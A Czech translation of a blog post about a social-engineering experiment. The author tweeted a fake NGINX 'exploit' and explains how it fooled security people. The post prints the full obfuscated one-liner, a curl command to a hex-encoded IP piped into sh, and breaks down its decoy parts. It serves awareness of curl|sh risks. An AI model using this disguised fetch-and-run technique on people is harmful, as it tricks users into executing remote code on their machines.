Úspěch sociálního experimentu s falešným exploit pro nginx

Pozn. přek.: Autor originálního příspěvku, publikovaného 1. června, jsem se rozhodl provést experiment v prostředí lidí zajímajících se o informační bezpečnost. K tomu jsem připravil falešný exploit k nezveřejněné zranitelnosti na webovém serveru a umístil ho na svůj Twitter. Moje předpoklady — být okamžitě odhalen odborníky, kteří by v kódu viděli jasný podvod — se nejenže nenaplnily… Ale překonaly všechna očekávání, a to v opačném směru: tweet získal obrovskou podporu od mnoha lidí, kteří nezkontrolovali jeho obsah.

TL;DR: za žádných okolností nepoužívejte pipeline souborů v sh nebo bash. To je skvělý způsob, jak ztratit kontrolu nad počítačem.

Chci se s vámi podělit o malý příběh o žertovném PoC-exploitu, který byl vytvořen 31. května. Objevil se rychle v reakci na zprávu od Alisy Esage Ševčenko, člena Zero Day Initiative (ZDI), o tom, že brzy budou zveřejněny informace o zranitelnosti v NGINX, vedoucí k RCE (vzdálenému spuštění kódu). Jelikož NGINX je základem mnoha webových stránek, zpráva měla být jako bomba. Ale kvůli zpožděním v procesu „odpovědného zveřejňování“ informací nebyly podrobnosti události známé — to je standardní postup ZDI.

Tweet o zveřejnění zranitelnosti v NGINX

Když jsem dokončil práci na nové technice obfuskace v curl, citoval jsem originální tweet a "vypustil pracovní PoC", složený z jediné řádky kódu, která měla údajně využívat zjištěnou zranitelnost. Samozřejmě, že to byla úplná hloupost. Myslel jsem si, že mě okamžitě odhalí, a že v tom lepším případě dostanu pár retweetů (a to by byl vlastně úspěch).

Tweet s falešným exploit

Ale nedokázal jsem si představit, co se stalo dál. Popularita mého tweetu vzrostla do nebes. Úžasné je, že v tuto chvíli (15:00 MSK 1. června) si stále málo kdo uvědomuje, že je to podvod. Mnozí ho retweetují bez jakékoli kontroly (nemluvě o tom, aby se potěšili krásnou ASCII grafikou, kterou zobrazuje).

Podívejte se, jaká krása!

I když jsou všechny tyto cykly a barvy úžasné, je jasné, že abychom je viděli, lidé museli spustit kód na svém stroji. Naštěstí prohlížeče fungují obdobně, a s ohledem na to, že nepotřebuji žádné právní potíže, kód, který je ukrytý na mé stránce, pouze prováděl volání echo, aniž by se pokusil nainstalovat nebo spustit jakýkoli další kód.

Malé odbočení: netspooky, dnz, já a další kluci z týmu Thugcrowd už nějakou dobu zkoušíme různé způsoby obfuskace curl příkazů, protože je to zábavné... a jsme geekové. netspooky a dnz objevili několik nových metod, které se mi zdály velmi perspektivní. Připojil jsem se k zábavě a pokusil se přidat převody IP do sady triků. Ukázalo se, že IP lze také převést do hexadecimálního formátu. Navíc curl a většina ostatních NIX nástrojů s radostí „požívá“ hexadecimální IP! Takže bylo potřeba pouze vytvořit přesvědčivý a bezpečně vypadající příkazový řádek. Nakonec jsem se zastavil na tomto:

curl -gsS https://127.0.0.1-NEBO-CÍLOVÝ-SERVER:443/../../..//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socioelektronické inženýrství (S.E.E.) — víc než jen phishing

Bezpečnost a povědomí byly klíčovými prvky tohoto experimentu. Myslím, že právě tyto faktory vedly k jeho úspěchu. Příkazový řádek jasně naznačoval bezpečnost, odkazujíc na „127.0.0.1“ (všem známý localhost). Předpokládá se, že localhost je bezpečný a data na něm nikdy neopouštějí váš počítač.

Povědomí bylo druhou klíčovou složkou S.E.E. experimentu. Protože cílová skupina se převážně skládala z lidí obeznámených se základy počítačové bezpečnosti, bylo důležité vytvořit kód, jehož části by se zdály známé a přirozené (a tedy bezpečné). Převzetí prvků starých explotačních konceptů a jejich kombinace neobvyklým způsobem se ukázalo jako velmi úspěšné.

Níže je podrobná analýza jednorázového příkazu. Vše v tomto seznamu má kosmetickou povahu, a pro jeho skutečné fungování není prakticky nic potřeba.

Jaké komponenty jsou skutečně nezbytné? Jsou to -gsS, -O 0x0238f06a, |sh a samotný webový server. Webový server neobsahoval žádné zlomyslné instrukce, pouze přenášel ASCII grafiku pomocí příkazů echo ve skriptu, který se nachází v index.html. Když uživatel zadal řetězec s |sh uprostřed, index.html nahrál se a vykonal. Naštěstí správci webového serveru neměli zlé úmysly.

• ../../../%00 — zobrazuje únik mimo adresář;
• ngx_stream_module.so — cesta k náhodnému modulu NGINX;
• /bin/sh%00<'protocol:TCP' — údajně spouštíme /bin/sh na cílovém stroji a přesměrováváme výstup do TCP kanálu;
• -O 0x0238f06a#PLToffset — tajná přísada, doplněná #PLToffset, aby vypadala jako posun v paměti, který se nějak obsahuje v PLT;
• |sh; — další důležitý fragment. Potřebovali jsme přesměrovat výstup do sh/bash, abychom spustili kód pocházející z útočného webového serveru umístěného na adrese 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — prázdné místo, kde netcat odkazuje na /dev/tcp/localhost, aby všechno opět vypadalo bezpečně. Ve skutečnosti ale nic nedělá a je zahrnuto do řetězce pro efekt.

Tím končí dešifrování jednostranného skriptu a diskuse o aspektech „socioelektronického inženýrství“ (vynalézavého phishingu).

Konfigurace webového serveru a protipatření

Jelikož drtivá většina mých sledujících jsou specialisté na informační bezpečnost/hacker, rozhodl jsem se udělat webový server trochu odolnějším vůči projevům „zájmu“ z jejich strany, aby měli co dělat (a připravovat ho bylo zábavné). Nehodlám zde uvádět všechny pasti, protože experiment stále pokračuje, ale zde je několik věcí, které server dělá:

• Aktivně sleduje pokusy o šíření na určitých sociálních sítích a vkládá různé náhledové miniatury, aby povzbudil uživatele k přechodu na odkaz.
• Přesměrovává Chrome/Mozilla/Safari atd. na promo video Thugcrowd místo toho, aby ukázal skript shell.
• Sleduje OČIVÉ znaky vniknutí/hrubého hacknutí, po čemž začíná přesměrovávat dotazy na servery NSA (ha!).
• Instaluje trojana a také BIOS rootkit na všechny počítače, jejichž uživatelé navštíví hostitele z běžného prohlížeče (vtip!).

Malá část antiméru

V tomto případě byl mým jediným cílem osvojení si některých schopností Apache - konkrétně skvělých pravidel pro přesměrování požadavků - a napadlo mě: proč ne?

Exploit NGINX (skutečný!)

Sledujte @alisaesage na Twitteru a sledujte vynikající práci ZDI na odstranění skutečných zranitelností a příležitostí pro exploity v NGINX. Jejich práce mě vždy fascinovala a jsem vděčný Alici za její trpělivost se všemi zmínkami a upozorněními vyvolanými mým hloupým tweetem. Naštěstí to také přineslo nějaký prospěch: pomohlo to zvýšit povědomí o zranitelnostech NGINX a o problémech způsobených zneužitím curl.

Zdroj: habr.com